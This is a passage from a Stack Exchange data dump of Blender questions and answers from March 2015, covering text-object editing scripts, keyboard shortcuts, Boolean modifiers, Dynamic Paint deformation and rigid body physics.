Title="Mist that only erases objects and not background?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26722" PostTypeId="2" ParentId="26712" CreationDate="2015-03-06T21:00:40.813" Score="16" Body="&lt;p&gt;Here is two methods  to edit the text object in the text editor :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Link the object text to the text file :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVORg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Convert text object to a file, then back from a file to an object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksCAB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1- For the first method, run this script once and select your text object to see the live update.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#this is one way link ( object to text file )&#xA;def link_object_to_text(context):&#xA;    obj = bpy.context.active_object&#xA;    if obj.type == 'FONT':&#xA;       if None == bpy.data.texts.get(obj.name):&#xA;          bpy.data.texts.new(name = obj.name)  &#xA;          bpy.data.texts[obj.name].write(obj.data.body)      &#xA;       text_file = bpy.data.texts[obj.name]&#xA;       obj.data.body = text_file.as_string()&#xA;&#xA;bpy.app.handlers.scene_update_pre.append(link_object_to_text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2- For conversion run the following script once &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you will find it in 3D_View -&gt; Object -&gt; Convert text&lt;/li&gt;&#xA;&lt;li&gt;OR type &lt;code&gt;Convert Text Object&lt;/code&gt; in the &lt;kbd&gt;Space&lt;/kbd&gt; menu&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Operator  &#xA;from bpy.props import *  &#xA;&#xA;def object_to_text():&#xA;    obj = bpy.context.active_object&#xA;    if obj.type == 'FONT':&#xA;       if None == bpy.data.texts.get(obj.name):&#xA;          bpy.data.texts.new(name = obj.name)&#xA;&#xA;       text_file = bpy.data.texts[obj.name]&#xA;       text_file.clear()&#xA;       text = obj.data.body&#xA;       text_file.write(text)&#xA;&#xA;&#xA;def object_from_text():&#xA;    obj = bpy.context.active_object&#xA;    if obj.type == 'FONT':&#xA;       if None == bpy.data.texts.get(obj.name):&#xA;          bpy.data.texts.new(name = obj.name)&#xA;&#xA;       text_file = bpy.data.texts[obj.name]&#xA;       #clear text_obj&#xA;       obj.data.body = text_file.as_string()&#xA;&#xA;class   text_object(Operator):  &#xA;&#xA;    &quot;&quot;&quot;text file from&amp;amp;to text object&quot;&quot;&quot;        &#xA;    bl_idname = &quot;object.from_to_text&quot;  &#xA;    bl_label = &quot;convert text object&quot;     &#xA;    bl_options = {'REGISTER', 'UNDO'}    &#xA;&#xA;    #parameters and variables&#xA;    convert = EnumProperty(&#xA;                name=&quot;Convert&quot;,&#xA;                description=&quot;Choose conversion&quot;,&#xA;                items=(('T2F', &quot;object to file &quot;, &quot;convert text object to text file&quot;),&#xA;                       ('F2T', &quot;file  to object&quot;, &quot;convert text file to text object&quot;)),&#xA;                default='T2F',&#xA;                )&#xA;&#xA;    def execute(self, context): &#xA;        if self.convert == 'T2F':&#xA;            object_to_text()&#xA;        else:&#xA;            object_from_text()&#xA;&#xA;        self.report({'INFO'},&quot;Conversion is Done&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;    #get inputs &#xA;    def invoke(self, context, event):&#xA;            wm = context.window_manager&#xA;            return wm.invoke_props_dialog(self)&#xA;&#xA;def addObject(self, context): &#xA;    self.layout.operator(&#xA;    text_object.bl_idname,&#xA;    text = text_object.bl_label,&#xA;    icon = 'OUTLINER_DATA_FONT')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(text_object)      &#xA;    bpy.types.VIEW3D_MT_object.append(addObject)&#xA;&#xA;def unregister(): &#xA;    bpy.types.VIEW3D_MT_object.remove(addObject)&#xA;    bpy.utils.unregister_class(text_object)&#xA;&#xA;if __name__ == &quot;__main__&quot;:  &#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="696" LastEditDate="2015-03-07T02:31:14.060" LastActivityDate="2015-03-07T02:31:14.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26724" PostTypeId="2" ParentId="26719" CreationDate="2015-03-06T22:29:22.473" Score="1" Body="&lt;p&gt;Here's what I ended up doing: there's a property time that I did not know about: Timer. I then set a property sensor to track this &quot;Timer&quot; value, but the &quot;equal&quot; &lt;code&gt;eval type&lt;/code&gt; did not work, I had to use &quot;interval&quot; and set my interval using the right &lt;code&gt;n.000000&lt;/code&gt; notation. By precisely tuning the &lt;code&gt;Minimum&lt;/code&gt; value, I managed to get a sample-perfect intro+loop sequence.&lt;/p&gt;&#xA;" OwnerUserId="1608" LastActivityDate="2015-03-06T22:29:22.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26725" PostTypeId="1" CreationDate="2015-03-06T22:58:45.930" Score="1" ViewCount="177" Body="&lt;p&gt;So I was working on a low poly model, A Guy Fawkes mask as an easter egg for a game.  The game will use Unity, but that is besides the point. I had finished this model, so on a different layer I had made Newton's Flaming Laser Sword, or Adler's razor as another easter egg. I had added a basic particle system to it and wanted to render it out so I had saved that file and opened a new one.  I appended the sword and flame particle system in and rendered it out.  When I deleted out that file I returned to my easter eggs file and found my model squashed onto the x and y axis.  All the z values are the same and I really do not want to have to re-do it.  It is on 2.71, I have yet to update it and sadly  am working on a Mac.  Thanks for any help.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8PUYQ.png&quot; alt=&quot;Flat Fawkes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13012" LastActivityDate="2015-03-06T22:58:45.930" Title="A glitch in 2.71, My low poly model randomly flattened" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;particles&gt;&lt;mirror&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26727" PostTypeId="2" ParentId="26720" CreationDate="2015-03-07T00:10:45.737" Score="5" Body="&lt;p&gt;What you are trying to achieve cannot be nicely made in blender yet. The problem is mesh intersecting. You need to simulate mesh self-collision to get the bulging result you want. This can be done with soft-bodies but would be unusable for animating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best you can do is to make ton of corrective shape keys for your mesh. If you are aiming for super-real you can also add some wrinkle displacement maps and drive them with bones.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-03-07T00:10:45.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26728" PostTypeId="2" ParentId="26482" CreationDate="2015-03-07T00:46:09.443" Score="1" Body="&lt;p&gt;So Gandalf3 did have the answer, although I did not understand the previous topic he had posted. What I did to solve it was move the high-polygon object into another Layer. As I also had multiple materials for the object to be exported into a certain game engine, I had to remove one material before being able to bake the maps in question.&lt;/p&gt;&#xA;" OwnerUserId="12907" LastActivityDate="2015-03-07T00:46:09.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26729" PostTypeId="1" AcceptedAnswerId="26731" CreationDate="2015-03-07T00:50:02.850" Score="1" ViewCount="55" Body="&lt;p&gt;i use this &quot;open image&quot; button a lot , so i decided to use a shortcut for it on my MacBook Pro.&#xA; i put my mouse on the link to see the python code. &quot;image.open&quot;&#xA; i searched it up in the prefs.&#xA;there it says the shortcut is:  ALT + O  .&#xA;i tried it , but it is not working. &#xA;i changed the shortcut into: shift + O  .&#xA; that didn't work either.&#xA; what am i missing here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bwmup.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dnzu5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-07T01:04:58.170" Title="why does the shortcut for &quot;image.open&quot; not work ? (ALT + O)" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26730" PostTypeId="2" ParentId="26720" CreationDate="2015-03-07T01:00:41.240" Score="3" Body="&lt;p&gt;As Jerryno said there isn't really a good way to do this, however, on twitter &lt;a href=&quot;https://twitter.com/tonroosendaal/status/339673537906356224&quot; rel=&quot;nofollow&quot;&gt;Ton mentioned the Blender Foundation would try to add this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=RHySGIqEgyk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=RHySGIqEgyk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see more:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rodolphe-vaillant.fr/permalinks/elastic_implicit_skinning_project.php&quot; rel=&quot;nofollow&quot;&gt;http://rodolphe-vaillant.fr/permalinks/elastic_implicit_skinning_project.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-07T01:00:41.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26731" PostTypeId="2" ParentId="26729" CreationDate="2015-03-07T01:04:58.170" Score="3" Body="&lt;p&gt;that shortcut doesn't work because it is under &lt;strong&gt;UV/Image editor&lt;/strong&gt; shortcuts you have to add the same shortcut under the &lt;strong&gt;Property editor&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to User preferences-&gt;Input-&gt;Properties editor &lt;/li&gt;&#xA;&lt;li&gt;add the shortcut&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8PKY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-07T01:04:58.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26732" PostTypeId="1" AcceptedAnswerId="26743" CreationDate="2015-03-07T02:06:26.153" Score="1" ViewCount="201" Body="&lt;p&gt;I am trying to create a model for 3D printing. I am trying to have this cylinder and hexagon shape &quot;cut away&quot; from the main mesh. How could I do this? It is to be the negative space of a bolt and a nut (nut fed into the hold on the inside)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/253/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hNdKx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NnvJ9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IqAvk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2016-03-01T18:30:28.310" Title="Knife Tool Project - Cutting Away Volume" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26733" PostTypeId="1" CreationDate="2015-03-07T02:31:37.777" Score="1" ViewCount="5580" Body="&lt;p&gt;I cant seem to Cut a hole in Any objects with the Difference operation while using the Boolean Modifier, All it does make Objects Disappear or Instead give me an Error(Unable to perform Boolean Operation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/i5bovhA&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/i5bovhA.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13017" LastEditorUserId="241" LastEditDate="2015-03-07T13:44:08.647" LastActivityDate="2015-03-07T13:44:08.647" Title="Boolean Modifier fails or makes object disappear" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-03-07T17:25:22.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="26734" PostTypeId="2" ParentId="26721" CreationDate="2015-03-07T02:47:28.147" Score="1" Body="&lt;p&gt;With a single render layer, enable a mist pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AHnnR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the compositor use the mist value and a color ramp a factor to mix the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SuZRw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/82zC3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-07T02:47:28.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26735" PostTypeId="2" ParentId="26712" CreationDate="2015-03-07T03:11:51.527" Score="6" Body="&lt;p&gt;While I would recommend using the text editor to edit large amounts of text, it really doesn't take too long to get around with just the arrow keys, at least in a situation like your example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dz0g9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8592; Left arrow&lt;/kbd&gt; and &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8594; Right arrow&lt;/kbd&gt; you can jump between spaces, allowing you to travel much faster horizontally. &lt;kbd&gt;Home&lt;/kbd&gt; and &lt;kbd&gt;End&lt;/kbd&gt; are also useful.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-07T03:11:51.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26736" PostTypeId="1" AcceptedAnswerId="63669" CreationDate="2015-03-07T03:34:14.560" Score="7" ViewCount="1075" Body="&lt;p&gt;I think 3D Text object misses basic features like Middle Align and Bottom Align (Currently we have Left, Right, Center, Just and Flush, but they are for horizontal adjustments; The default vertical alignment is Top Align only). Unless I missed something, I'm afraid it is only possible by scripting or driver?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top Align (Default behavior):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dFObR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom Align:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oH4Nw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Middle Align:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7XuLe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I know we have &lt;em&gt;Offset X/Y&lt;/em&gt; for in-line adjusting (that's what I used to mimic these GIFs), but that's not automatically calculated by line count.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-09-25T00:45:11.480" LastActivityDate="2016-09-25T00:45:11.480" Title="Automatic Top / Middle / Bottom Alignment for 3D Text Object" Tags="&lt;python&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26737" PostTypeId="1" AcceptedAnswerId="26738" CreationDate="2015-03-07T03:48:51.313" Score="11" ViewCount="2278" Body="&lt;p&gt;I am making an animation where a person sits down on sofa. I need to make it such that when the person sits on the sofa or presses it with his hand, it deforms. However in my case, when he presses on the sofa, his hands goes trough the sofa. How can I fix this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFcHA.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yxpxG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-03-07T15:32:58.227" LastActivityDate="2015-04-06T01:38:44.890" Title="How can I make two objects interact" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26738" PostTypeId="2" ParentId="26737" CreationDate="2015-03-07T05:59:46.537" Score="20" Body="&lt;p&gt;You can use &lt;strong&gt;Dynamic Paint&lt;/strong&gt; simulation, which is the recommended way, and generate very vivid result.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Sofa as &lt;strong&gt;Canvas&lt;/strong&gt; object, and choose &lt;strong&gt;Displace&lt;/strong&gt; for &lt;em&gt;Surface Type&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set character as &lt;strong&gt;Brush&lt;/strong&gt; object, and choose &lt;strong&gt;Mesh Volume&lt;/strong&gt; for &lt;em&gt;Paint Source&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/11WnG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwVM8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PHjR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3N0hkaEV2VDgwTTQ/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;Example File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:38:44.890" LastActivityDate="2015-04-06T01:38:44.890" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26739" PostTypeId="1" AcceptedAnswerId="26740" CreationDate="2015-03-07T06:40:55.397" Score="1" ViewCount="345" Body="&lt;p&gt;I have been trying to rig a weapon, but I don't have much experience. I know how to rig characters though. I don't know about anything, and I am not asking for anyone to actually rig my weapon. I just wanted to know how to do the following rig type: a bone that basically just controls a piece of the object as if you are grabbing it. I just want my magazine come out of the weapon and back in, also, have my entire weapon push back when firing. Any help is appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-07T14:16:13.573" Title="Blender move item rig?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26740" PostTypeId="2" ParentId="26739" CreationDate="2015-03-07T07:44:51.160" Score="2" Body="&lt;p&gt;make this piece of object separated (in edit mode, to make them still be 1 object), add bone in edit mode either with add armature or shift D and weight paint the armature of the object and if u want to make the object bone parented to main bone, just add parent inside edit mode with keep offset.&#xA;i think this should help&lt;/p&gt;&#xA;" OwnerUserId="12874" LastActivityDate="2015-03-07T07:44:51.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26741" PostTypeId="2" ParentId="26736" CreationDate="2015-03-07T07:59:43.517" Score="2" Body="&lt;p&gt;You are right, aligning the overall text from top/bottom isn't available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Left/Right/Centre alter the location of the text relative to each line and allows adjusting the alignment of the text relative to other lines of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The up/down alignment only alters the text position relative to the object centre; this can be altered after text entry by moving the text object. Aligning each line left/right can only be done this way if you do one line per text object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think up/down alignment is important, you should suggest it to one of the developers. I doubt this would be considered priority so unless a developer is interested in this you may have more luck in creating a patch yourself and submitting it for review.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe an add-on could be created to add an option for top/middle/bottom alignment.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="13452" LastEditDate="2015-03-28T11:36:12.767" LastActivityDate="2015-03-28T11:36:12.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26742" PostTypeId="1" CreationDate="2015-03-07T12:21:17.387" Score="4" ViewCount="555" Body="&lt;p&gt;I am currently writing a script that should render out each render layer via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.render.render(layer=“InsertRenderLayerNameHere”)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then save the resulting image. The problem is that when I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images[“Render Result”].save_render(“InsertFilePathHere”,scene=bpy.data.scene[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I have the scene file format set to OpenExr Multilayer, the image still only gets saved as a normal/flat openexr file. This is probably a bug right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The even weirder thing is that then I open a OpenExr Multilayer file in Blender and then go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images[“OpenExr_Test_File.exr”].file_format &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;python outputs : “’PNG”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any answers&lt;/p&gt;&#xA;" OwnerUserId="8364" LastActivityDate="2015-10-05T07:03:46.327" Title="Python Save MultiLayer EXR BUG?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26743" PostTypeId="2" ParentId="26732" CreationDate="2015-03-07T12:24:53.797" Score="1" Body="&lt;p&gt;You can use the &lt;em&gt;Boolean&lt;/em&gt; modifier to do this. Create an object that is the exact shape of the hole you want, then select the object you want the hole in, and add the modifier. You can now select the name of the object you want to use to create the hole. Now change the boolean  method to &lt;em&gt;Difference&lt;/em&gt;, press the &lt;em&gt;Apply&lt;/em&gt; button, and delete the mesh you used to make the hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FYWsX.gif&quot; alt=&quot;Boolean Modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-07T12:24:53.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26744" PostTypeId="2" ParentId="26733" CreationDate="2015-03-07T12:39:28.933" Score="2" Body="&lt;p&gt;It appears that your mesh with the &lt;em&gt;Boolean&lt;/em&gt; modifier is a 2-dimensional plane, this will cause some issues with your Boolean operations. I noticed some very unusual behavior when trying to perform a Boolean operation on a 2-dimensional mesh (&lt;em&gt;final result, difference mesh  has been deleted&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIY6w.jpg&quot; alt=&quot;Boolean Difference 2D&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I extruded the plane a small amount, the result was completely normal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EcABb.jpg&quot; alt=&quot;Boolean Difference 3D&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you will have to add some thickness to your mesh before using the &lt;em&gt;Boolean&lt;/em&gt; modifier if you want to achieve expected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/7480/why-doesnt-the-boolean-modifier-work-for-me/7494#7494&quot;&gt;&lt;strong&gt;this answer&lt;/strong&gt;&lt;/a&gt; to a very similar question.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-03-07T12:39:28.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26745" PostTypeId="1" AcceptedAnswerId="26747" CreationDate="2015-03-07T12:41:17.860" Score="1" ViewCount="63" Body="&lt;p&gt;My model includes a path (representing an arm of a little stick-man) with three points.  I want two of these points to remain fixed, and the third (the &quot;hand&quot;) to move with time, as if he is waving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagined I would be able to insert keyframes for the path's third point, but that doesn't seem to be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to move only one point in a path (i.e. change the path) with time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there another way I can achieve the effect please?&lt;/p&gt;&#xA;" OwnerUserId="13020" LastActivityDate="2015-03-07T12:46:37.437" Title="How to move a path point over time" Tags="&lt;animation&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26746" PostTypeId="1" AcceptedAnswerId="35693" CreationDate="2015-03-07T12:45:56.187" Score="4" ViewCount="3716" Body="&lt;p&gt;I have some simple tile like boxes that fall onto a plane. The tile boxes have a rigid body shape of &quot;Box&quot;. However even when I think the simulation would be done, the boxes continue to slide off at shallow angle. What attributes in the rigid body physics controls how much an object grips another object. I tried increasing the friction of all the objects to 1 with no effect. Also turned off bounciness and increased damping. But the objects continue to slide until the point that they are all lying flat on the plane. I would think that friction would stop this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recreated the scene from scratch and set the friction of all the objects to 1 before running the simulation.  Below is the blend file that I created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/415/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=415&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5NMp3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="29301" LastEditDate="2018-10-15T17:27:33.963" LastActivityDate="2018-10-15T17:27:33.963" Title="How do you stop the sliding of rigid body objects?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26747" PostTypeId="2" ParentId="26745" CreationDate="2015-03-07T12:46:37.437" Score="2" Body="&lt;p&gt;Yes you can do this easily by going into edit mode, selecting the vertex you want to animate, and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; &lt;em&gt;&gt; Hook to New Object&lt;/em&gt;. You can now animate the new &lt;em&gt;Empty&lt;/em&gt; and that vertice will follow it's position exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gXRPT.gif&quot; alt=&quot;Vertex Hook&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-07T12:46:37.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26748" PostTypeId="1" AcceptedAnswerId="26749" CreationDate="2015-03-07T13:11:20.973" Score="4" ViewCount="508" Body="&lt;p&gt;Sometimes curved or fluid connector lines are tiring to work with in a complex node setup. Is there a way to change the shape to a more straight line?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-03-07T13:20:54.800" LastActivityDate="2015-03-07T13:20:54.800" Title="Compositor connection lines" Tags="&lt;workflow&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-07T15:32:03.870" ContentLicense="CC BY-SA 3.0" />
